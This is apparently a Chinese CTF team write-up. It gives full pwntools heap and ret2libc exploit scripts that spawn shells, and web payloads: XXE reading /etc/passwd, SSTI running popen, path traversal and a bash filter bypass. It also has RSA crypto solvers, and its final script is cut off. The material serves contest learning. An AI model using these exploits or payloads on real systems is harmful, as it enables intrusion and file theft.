队伍ID:圈圈使徒
Rank:26

学弟想的好名字,我是Qanux的小迷妹,吸溜吸溜

非常好,pwn和re交给了Qanux,牛逼,再给他点时间真要AK了,被压力到了

tql,学弟的Web也要AK啦,差点要回家种田了

真好,我润去打简单题了,先打了misc,呦西,题卡在tj“美照”上了()。然后开始打密码,前面的很基础,然后卡在多项式上了,我们下午省赛开幕式3点才开始打这个新生赛,RSA数太大爆掉了?牛魔,Qanux丢给GPT,然后就出来了

16道密码,牛,进阶题没有时间打了

以下是比赛时加比赛后复现的全方向题解(re还有两题就不管了,反正我是不会的,我就负责Web、Crypto、Misc)

pwn

atm

选项2可以有栈溢出,直接ret2libc

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=remote("node1.anna.nssctf.cn",28417)
elf=ELF('./pwn')
rdi=0x401233
ret=0x40101a
p.recv()
p.sendline(str(1234))
p.recv()
p.sendline(str(3))
p.recv()
p.sendline(str(10000))
p.recv()
p.sendline(str(5))
p.recvuntil(b'gift:')
printf=int(p.recvuntil(b'\n'),16)
print(hex(printf))
libc = LibcSearcher("printf", printf)
libc_base = printf - libc.dump("printf")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload=b'a'*(0x160+8)+p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)

p.sendline(payload)
p.recv()
p.sendline(str(4))

p.interactive()

heap-2.23

uaf直接打

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=remote("node1.anna.nssctf.cn",28371)
elf=ELF('./pwn')
libc=ELF('libc.so.6')
def dbg():
gdb.attach(p)
pause()

def add(idx,size):
p.recv()
p.sendline(str(1))
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(size))

def free(idx):
p.recv()
p.sendline(str(2))
p.recv()
p.sendline(str(idx))

def show(idx):
p.recv()
p.sendline(str(3))
p.recv()
p.sendline(str(idx))

def edit(idx,content):
p.recv()
p.sendline(str(4))
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(content)

add(0,0x100)
add(1,0x100)
free(0)
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
print(hex(libc_base))
malloc=libc_base+libc.sym['__malloc_hook']
one=libc_base+0xf1247
add(2,0x60)
add(3,0x60)
free(2)
edit(2,p64(malloc-0x23))
add(4,0x60)
add(5,0x60)
edit(5,b'a'*0x13+p64(one))
add(6,0x50)

p.interactive()

heap-2.27

uaf直接打

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn2')
p=remote('node3.anna.nssctf.cn',28698)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def add(index,size):
p.recvuntil('>>')
p.sendline(b'1')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil("size?")
p.sendline(str(size))

def show(index):
p.recvuntil('>>')
p.sendline(b'3')
p.recvuntil('idx?')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('>>')
p.sendline(b'4')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content :')
p.send(content)

def delete(index):
p.recvuntil('>>')
p.sendline(b'2')
p.recvuntil('idx?')
p.sendline(str(index))

def exit():
p.recvuntil('>>')
p.sendline(b'5')

def search_IO_wfile_jumps_maybe_mmap():
global libc,libc_base
a = list(libc.search(p64(libc.symbols['_IO_wfile_overflow'])))
b = list(libc.search(p64(libc.symbols['_IO_file_close'])))
ans = []
result = 0
for i in a:
for j in b:
if abs(i - j) == 0x70 and i - 24 not in ans:
ans.append(i - 24)
log.success(f"{' '.join(map(lambda x: hex(x + libc_base), ans))} may be the address of _IO_wfile_jumps_maybe_mmap")
if (u64(libc.read(ans[0] + 0x20,0x8)) + libc_base) == (libc.symbols['_IO_wfile_underflow'] + libc_base):
result = ans[1]
else:
result = ans[0]
log.success(f'_IO_wfile_jumps_maybe_mmap:{result+libc_base:#x}')
return result + libc_base

def search_IO_file_jumps():
global libc,libc_base
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20 + libc_base
log.success(f'IO_str_jumps:{IO_str_jumps:#x}')
return IO_str_jumps

add(0,0x500)
add(1,0x10)
delete(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2018272-0xc0-2093056
log.success(f'libc_base:{libc_base:#x}')

add(2,0x500)
add(3,0x100)
add(4,0x100)
delete(3)
delete(4)
show(4)
p.recvuntil('content : ')
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x790
log.success(f'heap_base:{heap_base:#x}')
stderr = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

edit(4,p64(stderr))
add(5,0x100)
add(6,0x100)
edit(6,p64(system))
edit(5,b'sh;')
delete(5)

p.interactive()

heap-2.31

uaf直接打

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn2')
p=remote('node1.anna.nssctf.cn',28886)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def add(index,size):
p.recvuntil('>>')
p.sendline(b'1')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil("size?")
p.sendline(str(size))

def show(index):
p.recvuntil('>>')
p.sendline(b'3')
p.recvuntil('idx?')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('>>')
p.sendline(b'4')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content :')
p.send(content)

def delete(index):
p.recvuntil('>>')
p.sendline(b'2')
p.recvuntil('idx?')
p.sendline(str(index))

def exit():
p.recvuntil('>>')
p.sendline(b'5')

add(0,0x500)
add(1,0x10)
delete(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2018272
log.success(f'libc_base:{libc_base:#x}')

add(2,0x500)
add(3,0x100)
add(4,0x100)
delete(3)
delete(4)
show(4)
p.recvuntil('content : ')
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x7d0
log.success(f'heap_base:{heap_base:#x}')
stderr = libc_base + libc.symbols['_IO_2_1_stderr_']
system = libc_base + libc.symbols['system']

fake_file = flat({
0x0: b" sh;",
0x28: system,
0xa0: stderr-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")

edit(4,p64(stderr))
add(5,0x100)
add(6,0x100)
edit(6,fake_file)
exit()

p.interactive()

heap-2.35

uaf直接打

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn2')
p=remote('node1.anna.nssctf.cn',28181)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def add(index,size):
p.recvuntil('>>')
p.sendline(b'1')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil("size?")
p.sendline(str(size))

def show(index):
p.recvuntil('>>')
p.sendline(b'3')
p.recvuntil('idx?')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('>>')
p.sendline(b'4')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content :')
p.send(content)

def delete(index):
p.recvuntil('>>')
p.sendline(b'2')
p.recvuntil('idx?')
p.sendline(str(index))

def exit():
p.recvuntil('>>')
p.sendline(b'5')


add(0,0x100)
delete(0)
show(0)

p.recvuntil('content :')
heap_base = (((u64(p.recv(6).ljust(8,b"\x00")) >> 4)<<12)-0x2000)>>4
log.success(f'heap_base:{heap_base:#x}')
add(1,0x500)
add(2,0x10)
delete(1)
show(1)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2206944
log.success(f'libc_base:{libc_base:#x}')

add(3,0x100)
add(4,0x100)
delete(3)
delete(4)
key = (heap_base + 0x3b0)>>12
edit(4,p64(key^(libc_base+libc.symbols['_IO_2_1_stderr_'])))
add(5,0x100)
add(6,0x100)

stderr = libc_base+libc.symbols['_IO_2_1_stderr_']
system = libc_base+libc.symbols['system']
fake_file = flat({
0x0: b" sh;",
0x28: system,
0xa0: stderr-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")

edit(6,fake_file)
exit()

p.interactive()

heap-2.39

uaf直接打

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn2')
p=remote('node3.anna.nssctf.cn',28599)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def add(index,size):
p.recvuntil('>>')
p.sendline(b'1')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil("size?")
p.sendline(str(size))

def show(index):
p.recvuntil('>>')
p.sendline(b'3')
p.recvuntil('idx?')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('>>')
p.sendline(b'4')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content :')
p.send(content)

def delete(index):
p.recvuntil('>>')
p.sendline(b'2')
p.recvuntil('idx?')
p.sendline(str(index))

def exit():
p.recvuntil('>>')
p.sendline(b'5')

add(0,0x420)
add(1,0x410)
delete(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2112288
log.success(f'libc_base:{libc_base:#x}')
add(2,0x420)
add(3,0x420)
add(4,0x420)
add(5,0x420)
delete(4)
add(6,0x500)
delete(1)
show(4)

bin = libc_base + 2113296
_IO_list_all = libc_base+libc.symbols['_IO_list_all']
edit(4,p64(bin)*2+p64(0)+p64(_IO_list_all-0x20))
add(7,0x1000)
heap_base = 2117632 + libc_base - 0x5000

fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000, #_chain
0x70: 0, # _fileno
0x88: libc_base+libc.symbols['_environ']-0x10,
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

add(8,0x410)
add(9,0x500)
edit(4,fake_io_read[0x10:])
add(10,0x430)
exit()

payload = b""
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000 + 0x200, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
target = stack-608
log.success(f'target:{target:#x}')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi_ret = libc_base + 0x000000000010f75b
pop_rsi_ret = libc_base + 0x0000000000110a4d
pop_rdx_rbx_ret = libc_base + 0x00000000000ab891
pop_rax_ret = libc_base + 0x00000000000dd237
syscall_ret = libc_base + 0x0000000000098fa6
ret = 0x000000000002882f + libc_base

payload = flat([
pop_rax_ret, 2,
pop_rax_ret, 2,
pop_rdi_ret, target + 0xc0,
ret,
libc_base+libc.symbols['system'],
syscall_ret,

pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, target + 0x150,
ret, ret,ret,
syscall_ret,

pop_rax_ret, 1,
pop_rdi_ret, 1,
syscall_ret,
b"/bin/sh",b'\x00'*8
])

sleep(0.1)
p.send(payload)

p.interactive()

reverse

编码喵

直接换表base64

hello_upx

010吧所有upx改成UPX就能工具去upx,后面直接逆

v4 = [0x707541504072684C, 0x655158612559632B, 0x4F5E4E601E5A4E20]
flag = ''.join([chr((v4[i // 8] >> (8 * (i % 8))) & 0xFF) for i in range(24)])

# 逆向处理字符串
for i in range(24):
flag = flag[:i] + chr(ord(flag[i]) + i) + flag[i+1:]

print(flag)

else

pycrc4,好像是卡住了,Qanux直接说不打了,然后上号去了。。。

web

exx

开局登录
根据题目看出是xxe

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd" >]>
<user><username>&admin;</username><password>admin</password></user>

有回显
payload:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY admin SYSTEM "file:///flag" >]>
<user><username>&admin;</username><password>admin</password></user>

一个…池子?

xyctf复读机有异曲同工之妙
想到ssti
试着{{1+1}},回显2,成功
exp

{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}}}

主要是找哪个类有os模块

SAS - Serializing Authentication System

一道很简单的反序列化

class User {

public $username = 'admin';

public $password = 'secure_password';

}

$a = new User();
echo base64_encode(serialize($a));

主要是先要base64编码

浏览器也能套娃?

看到输入网页跳转
先想到ssrf
用伪协议试试
payload:

file:///flag
竟然出了

高亮主题(划掉)背景查看器

补一题,拿到POSTtheme参数了,看见对GETurl参数进行检测,但theme没有检测哦
直接目录穿越theme=../../../../../../flag
学弟比赛的时候目录穿越失败了捏,赛后没环境了也不知道什么问题,牛批,又亏麻了

百万美元的诱惑

第一个我没看到题,看到别人wp是md5绕过
学弟上来就让我构造12

 
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>

结合题目,搞美元符号啊,找了一会,以前没怎么打过,好像没找到,去打密码了
好好好,学弟亏麻了,ctfshow web57
https://www.wlhhlc.top/posts/14827/
本来真要AK了的,看来我们还是对Linux的一些命令以及字符构造不大熟悉

Linux$(())代表的是0,在没有命令参数参数下的默认值
对0取反$((~0))为-1
对12取反得到-13
要注意的是,以上运算要基于$(())
那么-1为~$(())
对13个-1取反即可,$((~$(())))重复13次

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

其实,我对取反这个说法不是很认可,但是这个符号就叫取反捏
实际运算是这样的

12的二进制表示是 0,1100
首先,取反得到 1,0011
最后一步,没记错的话是作补码?得到 1,1101
即-13
就是从右往左扫,遇到第一个1之前不变,之后的除了符号位全部取反
类似的36取反-37,规则大概就这样,涉及到一些计算机组成原理的内容

crypto

small_e

小e,直接开e方

import base64
import sympy
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *

n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301,
1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]
e = 3
for c in c_list:
print(chr(gmpy2.iroot(c, e)[0]), end='')

small_e_plus

已知flag头,获取e
想办法通过分解n得到phi解密m,失败了
开始逐位爆破flag

for e in range(1000, 2000):
if pow(ord('L'), e, n) == c_list[0]:
print(e)
break
e = 1924
flag = ''
for c in range(len(c_list)):
for i in range(32, 128):
if pow(i, e, n) == c_list[c]:
flag += chr(i)
print(flag)

common_primes

GCD一下就有

import base64
import sympy
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
e = 65537
p = GCD(n1, n2)
q1 = n1//p
q2 = n2//p
phi1 = (p-1)*(q1-1)
phi2 = (p-1)*(q2-1)
d1 = inverse(e, phi1)
d2 = inverse(e, phi2)
print(long_to_bytes(pow(c1, d1, n1)))
print(long_to_bytes(pow(c2, d2, n2)))

common_primes_plus

hint1和hint2取模于n1之后,都是n2的倍数

p = GCD(n1, GCD(hint1 % n1, hint2 % n1))
q = n1//p
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n1)))

CRT

简单CRT

import base64
import sympy
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
n_list = []
c_list = []
e = 10


def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)

for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * sympy.invert(p, n_i) * p
return int(sum % prod)


ans = chinese_remainder(n_list, c_list)
ans = gmpy2.iroot(ans, e)[0]
print(bytes.fromhex(hex(ans)[2:]))

CRT-plus

e=5,开方试试

for i in range(5):
m = gmpy2.iroot(C[i], 5)[0]
flag = long_to_bytes((m-B[i])//A[i])
print(flag)

好好好,广播攻击,但上面的exp也是给打出来了,可见n还是比较大的,导致了m^5<n

little_fermat

费马小定理的运用,x=p-1
pq相近开平方爆破

import base64
import sympy
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
e = 65537
n = 122719648746679660211272134136414102389555796575857405114496972248651220892565781331814993584484991300852578490929023084395318478514528533234617759712503439058334479192297581245539902950267201362675602085964421659147977335779128546965068649265419736053467523009673037723382969371523663674759921589944204926693
c = 109215817118156917306151535199288935588358410885541150319309172366532983941498151858496142368333375769194040807735053625645757204569614999883828047720427480384683375435683833780686557341909400842874816853528007258975117265789241663068590445878241153205106444357554372566670436865722966668420239234530554168928


def factor(n):
a, f = gmpy2.iroot(n, 2)

while (True):
a += 1
try:
b, f = gmpy2.iroot(a*a - n, 2)
except:
pass

if f:
return a-b, a+b


p = factor(n)[0]
q = factor(n)[1]
print(p*q == n)
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n) ^ (p-1)))

little_fermat_plus

这题跟上一题唯一的区别就是assert pow(666666, x, p) == 1 ** 1024,多了1024次方,6666661024(p1)11024 (mod p)666666^{1024*(p-1)}\equiv 1^{1024}\ (mod\ p)
解法大致与上题相同

print(long_to_bytes(pow(c, d, n) ^ ((p-1)*1024)))

Polynomial

import sympy
from Crypto.Util.number import *
Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142
Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760
Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832
c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900
e = 65537
p = sympy.Symbol("p")
q = sympy.Symbol("q")
r = sympy.Symbol("r")
f1 = sympy.Eq(p**2+q, Polynomial1)
f2 = sympy.Eq(q**2+r, Polynomial2)
f3 = sympy.Eq(r**2+p, Polynomial3)
res = sympy.solve((f1, f2, f3), (p, q, r))
print(res[0][0], res[0][1], res[0][2])
p =
q =
r =
phi = (p-1)*(q-1)*(r-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, p*q*r)))

一开始脚本写的不正确(上面赛后复盘改正过来了),pqr虽然也算出来了,但结果好像爆掉了,然后圈圈去问了下GPT,逆天,真问到了
下面是GPT的解答,好算力





Polynomial-plus

p=k10+22k8+53k622k439k2+115514p=k^{10}+22*k^{8}+53*k^{6}-22*k^{4}-39*k^{2}+115514
q=k9+10k713k62k4+111k2+1919810q=k^{9}+10*k^{7}-13*k^{6}-2*k^{4}+111*k^{2}+1919810
由此可见,n=pqk19且是偏小的n=p*q\approx k^{19}且是偏小的,对n开19次方,再爆破pq

from Crypto.Util.number import *
from gmpy2 import *
n = 343424787688946710828788193478518340184635630498236346907606509763011890082198311173501834898393322176325060349656021994088578448585570427399686920253145504431065451412326430233084073651599248661762036671841142048573051549474182586297565046285161375600990596119448538118327240405957845178956427810835797220204485242640945891970398041508724313442375608608662117158013
c = 300097152084696274516003269451037367405899874736667089358316145472977115856239312841307278390995620995063953407731245808077915106161525019835875978698148238617148929170257141762407514139479267867121064342168993486529889088067645866930029787500052390195406519896658384623575160091828173111087120708969655686251340535134778177193882787257773427670338018428731395437974
e = 65537
k = gmpy2.iroot(n, 19)[0]
print(k)
while 1:
p = k**10 + 22*k**8 + 53*k**6 - 22*k**4 - 39*k**2 + 114514
q = k**9 + 10*k**7 - 13*k**6 - 2*k**4 + 111*k**2 + 1919810
if p*q == n:
phi = (p-1)*(q-1)
assert GCD(e, phi) == 1
d = inverse(e, phi)
flag = long_to_bytes(pow(c, d, n))
print(flag)
break
else:
k += 1

这题其实也没考到多项式的什么,更多的是对n的一个判断

真·EasyRSA

欧拉定理+hint

import base64
import sympy
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
c1 = 78995097464505692833175221336110444691706720784642201874318792576886638370795877665241433503242322048462220941850261103929220636367258375223629313880314757819288233877871049903331061261182932603536690216472460424869498053787147893179733302705430645181983825884645791816106080546937178721898460776392249707560
c2 = 3784701757181065428915597927276042180461070890549646164035543821266506371502690247347168340234933318004928718562990468281285421981157783991138077081303219
n = 111880903302112599361822243412777826052651261464069603671228695119729911614927471127031113870129416452329155262786735889603893196627646342615137280714187446627292465966881136599942375394018828846001863354234047074224843640145067337664994314496776439054625605421747689126816804916163793264559188427704647589521
e = 65537
p = 102846375519753428570573823986925744957687092615041080268232889119455234034483
q = 93492332457019255141294502555555489582661562346262162342211605562996217352449
phi = (p**4-p**3)
# d = inverse(e, phi)
d = inverse(e, (p-1)*(q-1))
# print(long_to_bytes(pow(c1, d, n)))
print(long_to_bytes(pow(c2, d, p*q)))

真·签到!!!

典了,e未知,但还是知道了flag头LitCTF,跟small_e_plus一致
这个范围有点大了,两边爆一下,笑死,我电脑12:21跑出来了

from Crypto.Util.number import *
from gmpy2 import *
from tqdm import *

n =
C =
for e in tqdm(range(2, 10**8)):
if pow(ord('L'), e, n) == c[0] or pow(ord('L'), 10**8-e, n) == c[0]:
print(e)
break
e = 9897777
flag = ''
for c in range(len(C)):
for i in range(32, 128):
if pow(i, e, n) == C[c]:
flag += chr(i)
print(flag)

男人,什么罐头我说!


一开始没进群,flag头要包LitCTF?不对啊,我好像试过了,难道是姿势不对?
看别人wp,确实flag是对的,那我当时没加,LitCTF{MANWHATCANLSAY}

mid

leak1 = p>>924
leak2 = p%(2**500)

很明显可以看出是p高位泄露,但是也存在低位泄露啊,p=b21024+b21023+b21022+b21021+...+b2500+b2409+...+b20,b=0 or 1p=b*2^{1024}+b*2^{1023}+b*2^{1022}+b*2^{1021}+...+b*2^{500}+b*2^{409}+...+b*2^{0},b=0\ or\ 1
这样p%(2**500)之后,就只剩下低位的500位了
所以是,p的高低位泄露

改一下以前高位泄露的脚本

p_high = 6833525680083767201563383553257365403889275861180069149272377788671845720921410137177
n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810
pbits = 512 # p原本位数
kbits = pbits - p_high.nbits() # p丢失位数
p_high = p_high << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p_high
roots = f.small_roots(X = 2 ^ kbits,beta = 0.4,epsilon=0.02)
for root in roots:
p=p_high+int(root)
print(p)

得到高低位泄露的脚本

from Crypto.Util.number import *
n = 10912724749357317040117295175340915836309117326481842971911576002816136982982366412133127436929465794389631046998036509363047557873155846920275327196471118680559431161116535588318645353317739214770132790445807395653916337747136630775427171105596048281228718048314706544665819996610453587925745842345926654572410324847927833437471701176403031302117052425160845583678182335391697596801106017558494065612842298945201720733418994561321697012416704574891516720606917736854915347853341353358814869449590841870866128113400765492223847582506991200050368263722438854522124807397499067048911261448546634778788867555039834459211
c = 6991017300002465473760665517672638980904771950587963320768028786572848880002446111427309844155944419991711131609525886799710433964716773503883581910737560542905952516670539044167012461107915291519628081744473505479068712979401023972013124089857993361492602682730769445826818873805246777789559501477084603991595919524098203387452563401306823917989080019788620521432596833764004972429814705900915782768111621466120683534147560628509733828773006451505153520893053368254310905682981931980175859011116643271531341395883753605992130701423800808678200033639094180802506618083869818685981234182334150817211223363755511509799
e = 65537
leak1 = 749278395841748263310980933893
leak2 = 2675756732628494397256285826768672620995252274010849868485475743575097846941007603037228233621038664628877573057336866559545388148568450491606789423985
pbits = 1024 # p原本位数
kbits = pbits - leak1.nbits() # p丢失位数
leak1 = leak1 << kbits
R.< x > = PolynomialRing(Zmod(n))
f = leak1+x*2 ^ 500+leak2
f = f.monic()
